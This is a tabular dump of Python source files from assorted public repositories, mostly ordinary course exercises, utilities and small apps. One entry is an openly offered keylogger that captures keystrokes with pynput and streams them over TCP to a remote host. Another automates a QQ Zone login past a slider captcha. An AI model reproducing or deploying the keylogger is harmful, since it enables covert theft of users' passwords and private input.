blob_id large_string | repo_name large_string | path large_string | src_encoding large_string | length_bytes int64 | score float64 | int_score int64 | detected_licenses large list | license_type large_string | text string | download_success bool |
|---|---|---|---|---|---|---|---|---|---|---|
a5ad7b115185aa00f337a7d89e77cf2199c0b16e | sandymnascimento/Curso-de-Python | /Aula 17/ex077.py | UTF-8 | 307 | 3.140625 | 3 | [] | no_license | palavras = (
'PROGRAMAR', 'PYTHON', 'LINGUAGEM', 'DESENVOLVIMENTO', 'TECNOLOGIA', 'ESTUDOS', 'APRENDER', 'FUTURO', 'EXERCICIOS')
for p in palavras:
print(f'Na palavra {p} temos as vogais: ', end='')
for letra in p:
if letra in 'AEIOU':
print(letra.lower(), end=' ')
print()
| true |
5a70e632113f5c5a3321548128c0d5204090695f | Nordstrom/cloud-log-poller | /bin/sqs_collector.py | UTF-8 | 2,607 | 2.515625 | 3 | [
"Apache-2.0"
] | permissive | import os, logging, datetime
import boto
from datetime import time, datetime
import json
import boto
import boto.sqs
import inflection
from boto.sqs.message import Message, RawMessage
from boto.sqs.jsonmessage import JSONMessage
from nose.tools import set_trace
logger = logging.getLogger('cloud_log_poller')
class Sq... | true |
673c8b161e324d54f3d4a1ff85b12f46fcc37f26 | icarusglider/PyRai | /python-pure25519-blake/pure25519/test_orders.py | UTF-8 | 2,095 | 2.78125 | 3 | [
"MIT"
] | permissive | import unittest
from binascii import hexlify
from pure25519.basic import Zero, ElementOfUnknownGroup
from pure25519.basic import xform_affine_to_extended, L, bytes_to_unknown_group_element
ORDERS = {1: "1", 2: "2", 4: "4", 8: "8",
1*L: "1*L", 2*L: "2*L", 4*L: "4*L", 8*L: "8*L"}
def get_order(e):
for o in... | true |
6de43c07a144f58a1d9ec97748251037cfe1e8c9 | bst001/exchange-rates-app | /web/myapp/external.py | UTF-8 | 1,952 | 2.71875 | 3 | [] | no_license | """
UWAGI dot. NBP Web API:
* pojedyncze zapytanie nie moze obejmowac przedzialu dluzszego, niz 93 dni
* dane archiwalne dla kursow walut - dostpne sa od 2 stycznia 2002 r.
* kursy walut sa dostepne tylko dla dni pracujacych (pon-pt)
"""
import datetime
import math
import requests
from myapp.models import... | true |
6684129508132ec4bb3492c104f4365d8d598e1b | SadiaSuma/Python-Code | /inheritance.py | UTF-8 | 422 | 3.15625 | 3 | [] | no_license | class A:
def feature1(self):
print("f1")
def feature2(self):
print("f2")
class B(A): #multilevelinheriting
def feature3(self):
print('f3')
def feature4(self):
print("f4")
class C(A,B): #MULTIPLEINHERITING
def feature5(s... | true |
216cfcb709d62d57f1a8de5209a17c9651ac433c | njmhendrix/grand-challenge.org | /app/grandchallenge/cases/image_builders/fallback.py | UTF-8 | 2,130 | 2.53125 | 3 | [
"Apache-2.0"
] | permissive | from pathlib import Path
from typing import Set
import SimpleITK
import numpy as np
from PIL import Image
from PIL.Image import DecompressionBombError
from django.core.exceptions import ValidationError
from grandchallenge.cases.image_builders.types import ImageBuilderResult
from grandchallenge.cases.image_builders.ut... | true |
c845b66e10b384b420044675953b19e670cb9b8d | NKM-ML/LLC_Membranes | /LLC_Membranes/analysis/traj2matlab.py | UTF-8 | 3,492 | 2.9375 | 3 | [
"MIT"
] | permissive | #!/usr/bin/env python
"""
Save solute trajectories into objects that can be loaded by MATLAB
"""
import argparse
import numpy as np
import mdtraj as md
import scipy.io as io
from LLC_Membranes.llclib import physical, topology
def initialize():
parser = argparse.ArgumentParser(description='Calculate and plot sl... | true |
893b4590e752ad05f065627d046dc6ea4efc4ce5 | 1642195610/backup_data | /python/4.21/10 QQ空间(滑块验证).py | UTF-8 | 1,742 | 2.59375 | 3 | [] | no_license | from selenium import webdriver
# 控制一系列的鼠标事件
from selenium.webdriver.common.action_chains import ActionChains
from time import sleep
driver = webdriver.Chrome(
'../../../Documents/WeChat Files/ychzb1642195610ychzb/FileStorage/File/2020-04/chromedriver.exe')
# 打开QQ空间
driver.get('https://qzone.qq.com/')
# 先找到frame
fir... | true |
18e10712db45654559795d2e0978909c0cb6eb74 | Franceshe/cs224n_W2019_NLPwithDeepLearning | /a1/co-occurrence_plot_analysis.py | UTF-8 | 667 | 2.8125 | 3 | [] | no_license | # -----------------------------
# Run This Cell to Produce Your Plot
# ------------------------------
reuters_corpus = read_corpus()
M_co_occurrence, word2Ind_co_occurrence = compute_co_occurrence_matrix(reuters_corpus)
M_reduced_co_occurrence = reduce_to_k_dim(M_co_occurrence, k=2)
# Rescale (normalize) the rows to m... | true |
e502083ebedd3856e6534598cf860029d7d10ebf | ynjzw/jandan | /spider.py | UTF-8 | 956 | 2.828125 | 3 | [] | no_license | from lxml import html
import requests
import cx_Oracle
#获取煎蛋网首页HTML文档
html_doc=requests.get('http://jandan.net').text
selector=html.fromstring(html_doc)
ul_list=selector.xpath("//div[@class='indexs']")
#爬取首页24篇文章的链接url,主标题title,副标题info
for li in ul_list:
urls=li.xpath("h2/a/@href")
url=''.join(urls)
titles=li.xpa... | true |
a6b013ea2157bcfcee2af169b0140b53c24dff0a | RKirlew/TCP-Keylogger-Sends-Logs-In-Real-Time-Using-TCP | /main.py | UTF-8 | 386 | 2.546875 | 3 | [
"MIT"
] | permissive | from pynput.keyboard import Key,Listener
import socket
host=''
port=12345
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,port))
def on_press(key):
my_str_as_bytes = str.encode(str(key))
s.sendall(my_str_as_bytes)
#f=open("simplelog.txt","a+")
#f.write('{0} '.format(key))
with L... | true |
46cb98f1f50a11dcee873597df2851f078e37624 | Daniel-Seah/LocalMedia.bundle | /Contents/Code/subtitle/vobsub.py | UTF-8 | 1,128 | 2.578125 | 3 | [] | no_license | from default import Default
import re
class VobSub(Default):
@classmethod
def is_parser_for(cls, extension):
# We only support idx (and maybe sub)
return extension in ['idx', 'sub']
def process(self):
self.format = 'vobsub'
# We don't directly process the sub file, only the idx. Therefore if we are pass... | true |
265ecad634a2666fdab1c391a5e93f88b1e8cdd8 | CameronIPaul/isPrime | /app.py | UTF-8 | 1,660 | 3.109375 | 3 | [] | no_license | import time
import redis
from flask import Flask, jsonify, json
import math
app = Flask(__name__)
cache = redis.Redis(host='redis', port=6379)
def get_hit_count():
retries = 5
while True:
try:
return cache.incr('hits')
except redis.exceptions.ConnectionError as exc:
if retries == 0:
raise exc
ret... | true |
f581985d41ce61a368b4145fa1f48fdd8265ffbd | osamax2/rasa | /SimpleProject/app/app.py | UTF-8 | 24,890 | 2.5625 | 3 | [] | no_license | #coding: utf-8
from flask import Flask, url_for, request, jsonify, abort, make_response , session
import json
import logging
from pyjsonq import JsonQ
import time
from flask_session import Session
import random
app = Flask(__name__)
# Check Configuration section for more details
Session(app)
sess = Session()
message... | true |
f96433636aeb03ea62029137079c71402209fce0 | Aasthaengg/IBMdataset | /Python_codes/p03773/s844363087.py | UTF-8 | 250 | 2.5625 | 3 | [] | no_license | import sys
import itertools
sys.setrecursionlimit(1000000000)
from heapq import heapify,heappop,heappush,heappushpop
import math
import collections
MOD = 10**9 + 7
a,b = map(int,input().split())
if a + b>=24:
print(a+b-24)
else:
print(a + b) | true |
86b50d18bf82acbf185dafae20a046b194e5f1e5 | rvsp/Python3-reference | /2_variables-types.py | UTF-8 | 563 | 3.46875 | 3 | [] | no_license | '''
Owner: Venkatasubramanian
Topic: Variables and different types
'''
'''
int, float, string, list, tuple, set, dict, etc.
'''
int_type = 100 # An integer assignment
float_type = 10.6 # A floating point
string = "Hello world" # A string
print(int_type, type(int_type))
print(float_... | true |
d3a67aa57fb1ea0e2c34f2f46dd0dd87d7c05c0b | venkatcurl/health-patterns | /services/nlp-insights/text_analytics/insights/text_adjustments.py | UTF-8 | 727 | 3.171875 | 3 | [
"Apache-2.0"
] | permissive | IMMUNIZATION_APPEND = " vaccine"
def adjust_vaccine_text(text):
# Add "vaccine" to the text so NLP will get codes for the vaccine, not the disease
# If there is a comma in the text, "vaccine" is added before the comma. Example:
# DTaP, unspecified formulation --> DTaP vaccine, unspecified formulation... | true |
f8da0a5e2de3fcf9651f8edd534070547bc5d1a7 | neleicec/prestaciones2 | /models/prest.py | UTF-8 | 3,991 | 2.59375 | 3 | [] | no_license | # -*- coding: utf-8 -*-
from odoo import models, fields, api
# CAMPOS TRIMESTRALES
class prest(models.Model):
_name='prest'
name = fields.Many2one('hr.employee',
string='Empleado',
required=True)
trimestre = fields.Selection(
string = 'Seleccione Trimestre',
selection=[('trimestre1', 'First Trimester'),... | true |
37fafa64116beafe5869378355f6f49eb8db1c40 | dasgprat/FitTrack | /scripts/regression.py | UTF-8 | 5,782 | 2.890625 | 3 | [
"MIT"
] | permissive | #!pip install fitbit
#!pip install -r requirements/base.txt
#!pip install -r requirements/dev.txt
#!pip install -r requirements/test.txt
from time import sleep
import fitbit
import cherrypy
import requests
import json
import datetime
import scipy.stats
import pandas as pd
import numpy as np
# plotting
import matplotli... | true |
a3287d28f5e778cb34bfd0ab2fa34c72686158b7 | okfn-brasil/busca-querido-diario | /load_data.py | UTF-8 | 1,302 | 2.765625 | 3 | [
"MIT"
] | permissive | from datetime import datetime
import glob
import sys
import elasticsearch
INDEX_NAME = 'consultas'
def get_path():
"""
Retorn a query string passed as a command line argument.
"""
return ' '.join(sys.argv[1:])
def create_es_index(es):
try:
es.indices.delete(index=INDEX_NAME)
excep... | true |
49539b41f25f9f2ac9e3103a743e7770a36ba202 | runksmania/Algorithms-212 | /Assignments/pa5/MichaelCottrellPa5/MichaelCottrellPa5/dictionary.py | UTF-8 | 1,676 | 3.625 | 4 | [] | no_license | #
#Assignment: PA5
#Description: Show use of levenshtein edit distance in a spell checker.
#Author: Michael Cottrell
#HSU ID: 946839472
#Completion Time: 6 hours.
#In completing this program, I received help from the following people:
#N/A
#
from trie import Trie
from csv_processor import process_csv
class Dictionar... | true |
557de32804e0d25293a4244825bd01966c042a8c | JeffAMcGee/friendloc | /friendloc/base/splitproc.py | UTF-8 | 5,765 | 2.6875 | 3 | [
"BSD-2-Clause"
] | permissive | #!/usr/bin/env python
import pdb
import logging
import os
import multiprocessing
import Queue
BUFFER_DEFAULT = 1000
class SplitProcess(object):
"""
Take a set of tasks and split it up to several processors.
To use SplitProcess, make a subclass and override produce and map. Then,
create an instance... | true |
b1c513a4e1059d6430a88b9f01a072ce4bef96d4 | Alex-ZL/MyPythonCode | /2012/June/0515.py | UTF-8 | 1,402 | 3.90625 | 4 | [] | no_license | #!/usr/bin/python
#-*- coding:utf-8 -*-
"""Fibonacci iterator"""
class Fib:
"""a interator for Fibonacci sequence"""
def __init__(self, max):
self.max = max
def __iter__(self):
self.a = 0
self.b = 1
return self
def next(self):
fib = self.a
if fib > self.max:
raise StopIteration
self.a, self.b = ... | true |
ccabb21be4e13cc5c2678089c76a885e731fc624 | kyle8285/data-structures-algorithms-specialization | /algorithmic-toolbox/algorithmicWarmUp/fibonacci_sum_again.py | UTF-8 | 698 | 3.625 | 4 | [] | no_license | # Uses python3
import sys
def fibonacci_sum(m,n):
fib1_mod_10 = 0 % 10
fib2_mod_10 = 1 % 10
totals = [0,1]
while len(totals) >= 0:
fib1_mod_10, fib2_mod_10 = fib2_mod_10, ((fib1_mod_10 + fib2_mod_10) % 10)
totals.append(fib2_mod_10)
if fib1_mod_10 == 0 and fib2_mod_10 == 1:
... | true |
fe41a71ac0473e5325c9f44ab18ca7327d040249 | Phype/telnet-iot-honeypot | /backend/ipdb/ipdb.py | UTF-8 | 2,115 | 2.71875 | 3 | [
"LicenseRef-scancode-warranty-disclaimer"
] | no_license |
import csv
import ipaddress
import struct
import os
def ipstr2int(ip):
ip = unicode(ip)
ip = ipaddress.IPv4Address(ip).packed
ip = struct.unpack("!I", ip)[0]
return ip
class Entry:
def __init__(self, start, end, value):
self.start = int(start)
self.end = int(end)
self.value = value
class IPTable:
def ... | true |
4f21a87e1c026fecd417e578d1fe42d90bded08c | Meenakshi-Goyal/MeenakshiGoyal-Ds-algo | /Day2/THREEFR.py | UTF-8 | 153 | 3.296875 | 3 | [] | no_license | for i in range(int(input())):
x,y,z=map(int,input().split())
if(x+y==z or y+z==x or z+x==y):
print("yes")
else:
print("no")
| true |
95f482d220425d768c1d0ae52d561dc6d1aa347d | Vasniktel/prometheus-python | /exam/test.py | UTF-8 | 2,823 | 2.96875 | 3 | [
"MIT"
] | permissive | from maze_runner import MazeRunner
from maze_controller import maze_controller
def test1():
maze_example1 = {
'm': [
[0,1,0,0,0],
[0,1,1,1,1],
[0,0,0,0,0],
[1,1,1,1,0],
[0,0,0,1,0],
],
's': (0,0),
'f': (4,4)
}
maze_runner = MazeRunner(maze_example1['m... | true |
8d6c4b4489da511544a17d7ed2d95aefb57f70bd | jecy-8/python_project | /samples/test_class.py | UTF-8 | 566 | 3.859375 | 4 | [] | no_license | #!/usr/bin/env python3
# _*_ coding: utf-8 _*_
class Student(object):
def __init__(self, name, age, score):
self.name = name
self.age = age
self.score = score
def print_score(self):
print('%s: %s' % (self.name, self.score))
def get_grade(self):
if self.score >= 9... | true |
230c0dc0e43edd3e53bc86ee7677376be5e7c718 | HoratioCui/kcdata | /scripts/compare_quest.py | UTF-8 | 4,790 | 2.625 | 3 | [] | no_license | #!/usr/bin/env python3
import os
from collections import OrderedDict
import urllib.request
import urllib.parse
import json
import re
'''
"101": {
"code": "A1",
"name": "はじめての「編成」!",
"desc": "2隻以上の艦で編成される「艦隊」を編成せよ!",
"memo": "[獲]駆逐艦白雪",
// "hash": 12345678
},
'''
KC3_QUESTS_DATA_URL = 'https://raw.... | true |
f5840e4506e892f23205f4cebd461b4979fdec65 | etoilestar/- | /dataset/dataset.py | UTF-8 | 1,012 | 2.6875 | 3 | [] | no_license | import cv2
from torch.utils.data import DataLoader, Dataset
import albumentations #推荐的数据增强库,https://blog.csdn.net/qq_27039891/article/details/100795846
#还有两个备选数据增强库:torchvision中的transformer和imgaug
class MYdataloader(Dataset):
def __init__(self, path,mode='train'):#定义训练/验证数据的相关信息,包括路径,数据增强等,形成数据的列表
super(MY... | true |
e0a2821d8090488a95f78871663fc5e00b3fc88c | horacepan/qap_scratch | /milp/gen_data.py | UTF-8 | 688 | 2.703125 | 3 | [] | no_license | import numpy as np
def generate_max_cut(n, e):
c = np.zeros(n + e)
c[n:] = -1
all_edges = [(i, j) for i in range(n) for j in range(i)]
picked_idx = np.random.choice(len(all_edges), size=e, replace=False)
edges = [all_edges[i] for i in picked_idx]
A = np.zeros((3*e, n + e))
b = np.zeros(3*e... | true |
3ab835de1621e28649275ac4cb577c15aed34960 | robertyoung1993/Tester_home | /Basing/instance_class_attr.py | UTF-8 | 485 | 3.9375 | 4 | [] | no_license | """
实例属性和类属性
给实例绑定属性的方法是通过实例变量,或者通过self变量
"""
class Student():
class_name = 'Student'
def __init__(self, name):
self.name = name
# 定义了一个类属性后,这个属性虽然归类所有,但是类的所有实例都可以访问到
s = Student('Bob')
s.score = 90
print(s.name, s.score)
print(dir(s))
print(s.class_name)
print(s.name)
print(Student.class_name)
del... | true |
980e9526fffaa73204470afd087873b03f1b6a56 | k23040198/270201041 | /lab5/example4.py | UTF-8 | 303 | 3.046875 | 3 | [] | no_license | defined_password="123456"
index=0
while True:
password=input("please enter the password: ")
if defined_password==password:
print("welcome!!")
break
elif password=="help":
print(defined_password[0+index])
index+=1
else:
print("the password that you are writing is wrong!") | true |
58f781f71501fff8984c566eef018e243da23e24 | yunakim2/Algorithm_Python | /프로그래머스/모의고사/3주차/1.py | UTF-8 | 449 | 3.265625 | 3 | [] | no_license | from itertools import combinations
def solution(nums):
def is_prime(n):
if n == 2:
return True
else:
for i in range(2, int(n**0.5) + 1):
if n % i == 0:
return False
return True
return len([num for num in combinations(nums... | true |
3bde3b8f5f2f994d222cdc05c1300b50961df42f | jackyin68/Business-Intelligence-1641 | /Demo/Exercise06/ex06.py | UTF-8 | 986 | 4.34375 | 4 | [] | no_license | import numpy as np
# Create a list of 20 random integers less than 100
# Find elements that are greater than 50
# Find elements that are greater than mean of list
# Create a list of even numbers from that list
# Re-arrange the list so that 1st half contains only even numbers and 2nd half contains only odd numbers
# Cr... | true |
b97bfc0dbe4988922fe985200ebe68b2cd8a4023 | vivienyuwenchen/SoftDes-Final-Project | /evaluatehand.py | UTF-8 | 2,573 | 3.609375 | 4 | [] | no_license | """
take a list of tuples (value, suit)
scorehand() returns an int that can be used to directly compare hands
"""
def straightscore(hand):
values = []
for card in hand:
values.append(int(card[0]))
values = list(set(values))
if len(values) >= 5:
values.sort(reverse = True)
for i ... | true |
78e8322380c79746ad77cb684563a2aa13e74c65 | jkrshnmenon/arbiter | /arbiter/master_chief/sa_recon.py | UTF-8 | 5,563 | 2.65625 | 3 | [] | no_license | import json
import time
import angr
import logging
from tqdm import tqdm
from ..target import SA1_Target
from ..utils import FatalError
from .sa_base import StaticAnalysis
logger = logging.getLogger(name=__name__)
class SA_Recon(StaticAnalysis):
'''
A class which performs the basic static analysis
Analys... | true |
ef1df9bd4f3fd977ae2851f50f96da4a37984d6b | Noendroid/python_bank_problem | /Bank/main.py | UTF-8 | 4,912 | 3.453125 | 3 | [] | no_license | import math
from Customer import Customer
def get_customers_from_file(file_name):
details = []
with open(file_name, "r") as customers_file:
for line in customers_file:
details.append(line.split("\t"))
arr = []
for d in details[2:]:
c = Customer(d)
arr.append(c)
... | true |
02a09484b83919644697e595be259428fb554599 | ericahub/athenacl | /athenaCL/libATH/clone.py | UTF-8 | 39,342 | 2.53125 | 3 | [] | no_license | #-----------------------------------------------------------------||||||||||||--
# Name: clone.py
# Purpose: class for holding access data from clone objects.
#
# Authors: Christopher Ariza
#
# Copyright: (c) 2001-2010 Christopher Ariza
# License: GPL
#------------------------------------... | true |
c0489a255a7c8d31f5c5998ecbd62c3b9975aa24 | boj8/Malfraedileikur | /highscore.py | UTF-8 | 1,442 | 3.453125 | 3 | [] | no_license | from datetime import datetime
#Fall sem skráir árangur notanda í textaskrá, tekur inn árangur og valinn leik
def writescore(score, leikur):
if(leikur):#Velur rétta textaskrá
scores = open('bscore.txt','a', encoding='utf8')
else:
scores = open('fscore.txt','a', encoding='utf8')
#Skráir á... | true |
a1ae04255d3da6fa28073aa10b6f2fa06ebfed37 | damarobe/MDPI | /centrality/MDPI_centrality.py | UTF-8 | 3,571 | 2.953125 | 3 | [
"MIT"
] | permissive | # This script performs the centrality analyses for the publication network centrality project
# Import required modules
import numpy as np
import pandas as pd
import networkx as nx
# Creating a list of all countries
countries = pd.read_csv('C:/Users/User/Documents/Data/MDPI/M_all.csv').columns
# Initia... | true |
cd4b1793ec775017372a02bf5b229136d7da3350 | dimbi/wa_history | /plot_wa.py | UTF-8 | 2,288 | 3.015625 | 3 | [] | no_license | ## ###############################################################################
##
## history_wa.py
## ngitung distribusi chattingan el 2003
## by: bibirkubiasasaja
##
###############################################################################
import csv, sys, os
from datetime import datetime
from datetime impo... | true |
69db5832ecb753c4bd0b1cb7c7d2b59dbeed741d | keyur-dasarwar/GestureMouse | /Gesture-Control.py | UTF-8 | 7,319 | 3.171875 | 3 | [] | no_license |
"""
Gesture Controlled Mouse :-
===========================
GCM is a utility tool designed for presentation and distance mouse control for desktops
It makes use of hardware camera and relies on opencv and pynput for manipulating the mouse
Constants :-
============
MOUSE_MULTIPLIER: Movement sensitivity (ideal:... | true |
3ba64d59940197bf2c4cb85eff440c1e98698baf | RohanMiraje/DSAwithPython | /DSA/linked_list/gfg_practise/swap_kth_nodes_from_beg_and_end.py | UTF-8 | 2,169 | 3.296875 | 3 | [
"MIT"
] | permissive | from DSA.linked_list.practise.base import Single_LL
def swap_kth_nodes(head, k, n):
curr = head
# if k > n or odd nodes and k is middle of list
if k > n or k == n // 2 + 1:
return head
elif k == n: # swap first and last node links
tail_prev = None
while curr.next:
... | true |
9f57d7e537313e701cbb3155c35b28b4106a3a3c | Amsterdam/tellus | /src/importer_lib/length_processor.py | UTF-8 | 587 | 2.578125 | 3 | [] | no_license | import logging
from datasets.tellus_data.models import LengteInterval
from importer_lib.parser import parse_length_interval
log = logging.getLogger(__name__)
def create_length_intervals(values):
for index, value in enumerate(values):
[min_cm, max_cm] = parse_length_interval(value)
db_row, create... | true |
7d16c30230c1907070988ec2fac10f2947075f40 | JuliaZxr/LagouPractice_Yuki | /selenium_test/test_ActionChains.py | UTF-8 | 1,954 | 2.71875 | 3 | [] | no_license | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2020/8/22 14:58
# @Author : Yuki
from selenium import webdriver
from selenium.webdriver import ActionChains
from selenium.webdriver.common.by import By
class TestAction():
def setup(self):
self.driver = webdriver.Chrome()
self.driver.maxi... | true |
44d21f082b69e0b2ef31d6741b73525a256b2971 | freepax/ScriptBook | /python/BookList.py | UTF-8 | 1,345 | 2.625 | 3 | [] | no_license | # -*- coding: utf-8 -*-
from PySide import QtCore
class BookModel(QtCore.QAbstractListModel):
def __init__(self, bookListItems):
QtCore.QAbstractListModel.__init__(self)
self._bookListItems = bookListItems
self.setRoleNames({0: 'bookItem'})
def rowCount(self, parent=QtCore.QModelInde... | true |
34e2de4f9f73549624044058539577c9ba77f48a | wzgdavid/qqqhhh | /stocks/dkx.py | UTF-8 | 5,513 | 2.515625 | 3 | [] | no_license | import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import seaborn as sns
from common import get_DKX, result
from functools import reduce
def ready(daima):
df = pd.read_csv(r'..\data\stocks\{}.csv'.format(daima))
df = get_DKX(df)
df['b向上'] = np.where( (df['b'].shift(3)>df['b'].shift(2)) ... | true |
223fbf8c7c9079cac9c3e6cdf2c5aec0573201b2 | makeroo/dr_p1 | /dr/utils/__init__.py | UTF-8 | 417 | 2.875 | 3 | [] | no_license | class lazystr:
def __init__(self, o):
self.o = o
def __str__(self):
return str(self.o)
class lazycall:
def __init__(self, callable):
self.callable = callable
def __str__(self):
return self.callable()
class dump_path:
def __init__(self, path):
self.path =... | true |
29ae61454a5cd49bf05ee6beda7b3c4012489430 | kashyapakshay/AkshayDL | /Assignment 2 (ConvNet)/conv.py | UTF-8 | 1,397 | 2.890625 | 3 | [] | no_license | import numpy as np
import matplotlib.pyplot as plt
import matplotlib.image as mpimg
def readimg(src='stinkbug.png'):
return mpimg.imread(src)
def deprocess_image(x):
# normalize tensor: center on 0., ensure std is 0.1
x -= x.mean()
x /= (x.std() + 1e-5)
x *= 0.1
# clip to [0, 1]
x += 0.5
... | true |
c37d95302535f3bb893dbecde756eec540a5ee1e | diegoaleman/ciu-old | /ds/linked_list.py | UTF-8 | 3,362 | 4.0625 | 4 | [] | no_license | class Node:
def __init__(self,d=None):
self.data = d
self.next = None
# TODO
# x size
# x empty
# x value_at_index(index)
# x push_front(value)
# x pop_front()
# x push_back(value)
# x pop_back()
# x front()
# x back()
# x insert(index, value)
# x erase(index)
# - value_n_from_end(n)
# - reverse()
#... | true |
7285af8e1e849d8b363b17899342f6a624356f2e | venkyms/python-workspace | /scripts/numpy/array-sum.py | UTF-8 | 126 | 2.71875 | 3 | [] | no_license | import numpy as np
a = np.array([1, 2, 3, 4])
b = a
# a += np.array([1, 1, 1, 1])
a = a + np.array([1, 1, 1, 1])
print(b)
| true |
03b94cd26c5bd5556dcd416872937b9ac7cdf480 | Tmono/Ros_Repository | /keyboard_target/keyboard_target.py | UTF-8 | 3,979 | 2.578125 | 3 | [] | no_license | #!/usr/bin/env python
import roslib; roslib.load_manifest('keyboard_target')
import rospy
import math
import tf
import os
from geometry_msgs.msg import PoseStamped
from geometry_msgs.msg import Quaternion
from geometry_msgs.msg import Point
from threading import Thread
import sys, select, termios, tty
msg = """ Mo... | true |
3342a307d69e8139dd7efb9488ce9587fa294ae7 | MightyPhoenix/python-assgn | /Python Assingments/assgn4/ass4.3.py | UTF-8 | 219 | 3.359375 | 3 | [] | no_license | # -*- coding: utf-8 -*-
"""
Created on Thu Sep 12 14:16:41 2019
@author: agnib
"""
que=[1,2,3,4]
print("Original Que is : ", que)
que.append(5)
print("Insert Que: 5",que)
print("Deletion Que : ",que.pop(0))
print(que) | true |
1b281211913ad5ad75a14b490098b214f7ad190b | mmassad/Black_Jack | /game.py | UTF-8 | 4,531 | 3.578125 | 4 | [] | no_license | from deck import Deck
from player import Player
from dealer import Dealer
from console import Console
from time import sleep
# This module implement all elements of the BlackJack game. It initializes the deck, dealer and players and
# keep the turns running. The class also accounts for a replay with the same players, ... | true |
ffa6417abc463331ab1c0d541a250934673e6b49 | jksdou/tkinter-learn | /demo/Window/center.py | UTF-8 | 517 | 3.5625 | 4 | [] | no_license | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
# 窗口居中显示
import tkinter as tk
window = tk.Tk()
window.title('Hello World')
label = tk.Label(window, text="Hello, World")
label.pack(fill=tk.BOTH, expand=1)
def center_window(f, w, h):
# 获取屏幕 宽、高
ws = f.winfo_screenwidth()
hs = f.winfo_screenheight()
# ... | true |
121cc871c80994bff29d6d671a13ce695155011e | rafliI0320080/Rafli-Ridwan-Ramadhan_I0320080_Aditya-Mahendra_Tugas2 | /I0320080_soal1_tugas2.py | UTF-8 | 1,019 | 4.03125 | 4 | [] | no_license | # Program Perhitungan Luas Persegi Panjang
print("MENGHITUNG LUAS PERSEGI PANJANG")
panjang = float(input("\nMasukan panjang: "))
lebar = float(input("\nMasukan lebar: "))
luas = panjang*lebar
print("\nLuas Persegi Panjang \t\t:",luas)
# Program Perhitungan Luas Lingkaran
print('Menghitung luas lingakaran')
print('=... | true |
421a258c02d121476ab00b81709fb8e4cd764c7a | nuzcraft/RLTut | /helpers/closest_monster.py | UTF-8 | 697 | 3.40625 | 3 | [
"MIT"
] | permissive | # function to find the closest monster
import variables as var
from helpers.is_in_FOV import is_in_fov
def closest_monster(max_range):
# find closest enemy, up to a max range, and in the player's fov
closest_enemy = None
closest_dist = max_range + 1 # start with (slightly more than) max range
for ent ... | true |
88c8e2006016d9d4d203e2559acd172ca11780e8 | godzzbboss/fengdong | /models/data_clean_plot.py | UTF-8 | 29,491 | 2.71875 | 3 | [] | no_license | # -*- coding: utf-8 -*-
"""
__author__ = "BigBrother"
"""
import numpy as np
import pandas as pd
import matplotlib as mpl
import matplotlib.pyplot as plt
import seaborn as sns
import os
from scipy.io import loadmat
from matplotlib import cm
from tkinter import Tk
def set_size(fig=None, w=None, h=None, w_mul=1.0, h_... | true |
5030277328613408ce310e91ebbfb63b8dd1f206 | tomr-stargazer/dendrogal | /production/multipanel_catalog_measurements.py | UTF-8 | 10,879 | 2.609375 | 3 | [] | no_license | """
multipanel_catalog_measurements.py
Makes a multi-panel plot. Not meant to be particularly interactive / dynamic.
Front-loads the data as needed.
"""
from __future__ import division
import os
import numpy as np
import matplotlib.pyplot as plt
import astropy.units as u
from dendrogal.production.catalog_measu... | true |
ce1823d3dccd9921dd21de194f767d0e64eeb472 | Skylerliutian/unsw-2019-t1 | /unsw-it-9021/python-code/quiz2/quiz_old.py | UTF-8 | 2,947 | 3.640625 | 4 | [] | no_license | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2019-03-05 12:45
# @Author : ZD Liu
# Written by ZD Liu and Eric Martin for COMP9021
def rule_encoded_by(rule_nb):
'''
"rule_nb" is supposed to be an integer between 0 and 15.
'''
values = [int(d) for d in f'{rule_nb:04b}']
return {(p //... | true |
ffad98bb8ef9b88cb39632929fece29c3d4e9a53 | iussit/bet_parser | /parser.py | UTF-8 | 1,882 | 2.84375 | 3 | [] | no_license | import proxy_changer as prch
import urllib.request
from bs4 import BeautifulSoup
from datetime import datetime
class parser:
def __init__(self, url):
prch.check_ip()
self.url = url
self.html = ''
def read_url(self):
self.html = urllib.request.urlopen(self.url).read()
def ... | true |
80e3b0c0b50db88bf3410fd0be87ff70e3748917 | sharmaking/PairTradeBTS | /multipleStrategy/formatPairDataMultiple.py | UTF-8 | 3,212 | 2.53125 | 3 | [
"MIT"
] | permissive | #!/usr/bin/python
# -*- coding: utf-8 -*-
#formatPairDataMultiple.py
import baseMultiple
import os, csv, copy, datetime
class CFormatPairDataMultiple(baseMultiple.CBaseMultiple):
#------------------------------
#继承重载函数
#------------------------------
#自定义初始化函数
def customInit(self):
self.name = "formatPairDataMu... | true |
a52e121a8c461873a89cb24e9bdc62a2307046fb | tbregant/Smartninja | /Classwork/Lesson11/inheritance.py | UTF-8 | 881 | 3.71875 | 4 | [] | no_license |
class Stavba(object):
def __init__(self, st_vrat, st_oken):
self.st_vrat = st_vrat
self.st_oken = st_oken
def show(self):
print "Stavba = St. vrat: {},\nst_oken: {}\n".format(self.st_vrat, self.st_oken)
class Blok(Stavba):
def __init__(self, st_vrat, st_oken, st_dvigal):
... | true |
e23d8fb104a3adf8b49195a350128e7bf53237a7 | viviwu/MindTree | /source/plugins/tests/utils.py | UTF-8 | 1,827 | 3.390625 | 3 | [] | no_license | import sys, traceback
class TestCase:
def __init__(self):
self.success = True
self.exceptions = []
def exit(self):
if len(self.exceptions) > 0:
print("Test failed, following exceptions were thrown:")
for exc in exceptions:
traceback.print_excepti... | true |
6e877737922e8c35d88863e9869cf37e65807094 | zhihaodev/udacity-projects | /item-catalog/app/api/categories.py | UTF-8 | 1,381 | 2.578125 | 3 | [
"MIT"
] | permissive | from flask import jsonify, make_response
from dict2xml import dict2xml as xmlify
from ..models import Category
from . import api
@api.route('/categories.json/')
@api.route('/categories/')
def get_categories():
"""Get all categories available using JSON format."""
categories = Category.query.all()
return ... | true |
d1a0fd1e28ff7123944016325007220ca69a1471 | ushiko/AOJ | /ALDS1/ALDS1_3_C.py | UTF-8 | 3,940 | 3.046875 | 3 | [] | no_license | # http://judge.u-aizu.ac.jp/onlinejudge/description.jsp?id=ALDS1_3_C&lang=jp
# Doubly Linked List : python3
# 2018.11.27 yonezawa
from collections import deque
import sys
input = sys.stdin.readline
import cProfile
class LinkedList:
def __init__(self):
self.data = None
self.back = None
